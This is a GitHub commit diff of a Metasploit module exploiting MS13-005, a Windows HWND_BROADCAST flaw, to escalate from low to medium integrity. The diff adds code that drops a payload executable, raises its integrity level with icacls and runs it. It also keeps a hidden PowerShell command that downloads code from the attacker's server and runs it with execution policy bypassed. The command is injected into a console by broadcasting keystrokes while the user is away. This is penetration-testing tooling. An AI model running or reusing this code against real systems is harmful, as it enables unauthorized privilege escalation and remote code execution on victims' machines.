Skip to content

Commit cdb0e68

Browse files
committed
Merge pull request #6 from jvazquez-r7/ms13_005_hwnd_broadcast
Modify the check for Integrity Level and Allow dropt o fs
2 parents 12a58c7 + 805a967 commit cdb0e68

File tree

1 file changed

+63
-28
lines changed

1 file changed

+63
-28
lines changed

modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb

Lines changed: 63 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -15,29 +15,30 @@ class Metasploit3 < Msf::Exploit::Local
1515
include Msf::Exploit::EXE
1616
include Msf::Exploit::Remote::HttpServer
1717
include Msf::Post::File
18+
include Msf::Exploit::FileDropper
1819

1920
def initialize(info={})
2021
super( update_info( info,
2122
'Name' => 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
2223
'Description' => %q{
23-
The Windows kernel does not properly isolate broadcast messages from low integrity
24-
applications from medium or high integrity applications. This allows commands to be
25-
broadcasted to an open medium or high integrity command prompts allowing escalation
26-
of privileges. We can spawn a medium integrity command prompt, after spawning a low
27-
integrity command prompt, by using the Win+Shift+# combination to specify the position
28-
of the command prompt on the taskbar. We can then broadcast our command and hope that
29-
the user is away and doesn't corrupt it by interracting with the UI.
30-
Broadcast issue affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2,
31-
Server 2012, RT. Spawning a command prompt with the shortcut key does not work in
32-
Vista so you will have to check if the user is already running a command prompt
33-
and set SPAWN_PROMPT false.
24+
The Windows kernel does not properly isolate broadcast messages from low integrity
25+
applications from medium or high integrity applications. This allows commands to be
26+
broadcasted to an open medium or high integrity command prompts allowing escalation
27+
of privileges. We can spawn a medium integrity command prompt, after spawning a low
28+
integrity command prompt, by using the Win+Shift+# combination to specify the position
29+
of the command prompt on the taskbar. We can then broadcast our command and hope that
30+
the user is away and doesn't corrupt it by interacting with the UI. Broadcast issue
31+
affects versions Windows Vista, 7, 8, Server 2008, Server 2008 R2, Server 2012, RT.
32+
But Spawning a command prompt with the shortcut key does not work in Vista so you will
33+
have to check if the user is already running a command prompt and set SPAWN_PROMPT
34+
false.
3435
},
3536
'License' => MSF_LICENSE,
3637
'Author' =>
3738
[
38-
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
39-
'Tavis Ormandy', #Discovery
40-
'Axel Souchet' #@0vercl0k POC
39+
'Tavis Ormandy', # Discovery
40+
'Axel Souchet', # @0vercl0k POC
41+
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module
4142
],
4243
'Platform' => [ 'win' ],
4344
'SessionTypes' => [ 'meterpreter' ],
@@ -59,21 +60,17 @@ def initialize(info={})
5960

6061
register_options(
6162
[
62-
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true])
63+
OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
64+
OptBool.new('FILESYSTEM', [true, 'Drop payload to filesystem and execute', false])
6365
], self.class
6466
)
6567

66-
register_advanced_options(
67-
[
68-
OptBool.new('EEGG', [false, 'Anderson command technique',])
69-
]
70-
)
7168
end
7269

7370
# Refactor this into Post lib with adobe_sandbox_adobecollabsync.rb
7471
# Or use GetToken railgun calls?
7572
def low_integrity_level?
76-
tmp_dir = expand_path("%TEMP%")
73+
tmp_dir = expand_path("%USERPROFILE%")
7774
cd(tmp_dir)
7875
new_dir = "#{rand_text_alpha(5)}"
7976
begin
@@ -120,11 +117,54 @@ def cleanup
120117
end
121118
end
122119

123-
def primer
124-
e = "V2FrZSB1cCwgTmVvLi4uDQpUaGUgTWF0cml4IGhhcyB5b3UuLi4NCkZvbGxv\ndyB0aGUgV2hpdGUgUmFiYml0Lg0KS25vY2ssIGtub2NrLCBOZW8u"
120+
def exploit
121+
# First of all check if the session is running on Low Integrity Level.
122+
# If it isn't doesn't worth continue
125123
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
126124
fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
127125

126+
# If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
127+
# hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
128+
# integrity process can write.
129+
drop_to_fs = false
130+
if datastore["FILESYSTEM"]
131+
payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
132+
begin
133+
tmp_dir = expand_path("%TEMP%")
134+
cd(tmp_dir)
135+
print_status("Trying to drop payload to #{tmp_dir}...")
136+
if write_file(payload_file, generate_payload_exe)
137+
print_good("Payload dropped successfully, exploiting...")
138+
drop_to_fs = true
139+
register_file_for_cleanup(payload_file)
140+
payload_path = tmp_dir
141+
else
142+
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
143+
drop_to_fs = false
144+
end
145+
rescue ::Rex::Post::Meterpreter::RequestError
146+
print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
147+
drop_to_fs = false
148+
end
149+
end
150+
151+
if drop_to_fs
152+
command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
153+
make_it(command)
154+
else
155+
super
156+
end
157+
158+
end
159+
160+
def primer
161+
url = get_uri()
162+
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
163+
command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"
164+
make_it(command)
165+
end
166+
167+
def make_it(command)
128168
if datastore['SPAWN_PROMPT']
129169
@hwin = client.railgun.kernel32.GetConsoleWindow()['return']
130170
if @hwin == nil
@@ -159,11 +199,6 @@ def primer
159199
end
160200

161201
print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
162-
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
163-
url = get_uri()
164-
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
165-
command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"
166-
command = Rex::Text.decode_base64(e) if datastore['EEGG']
167202
command.each_char do |c|
168203
print c if command.length < 200
169204
client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)

0 commit comments

Comments
 (0)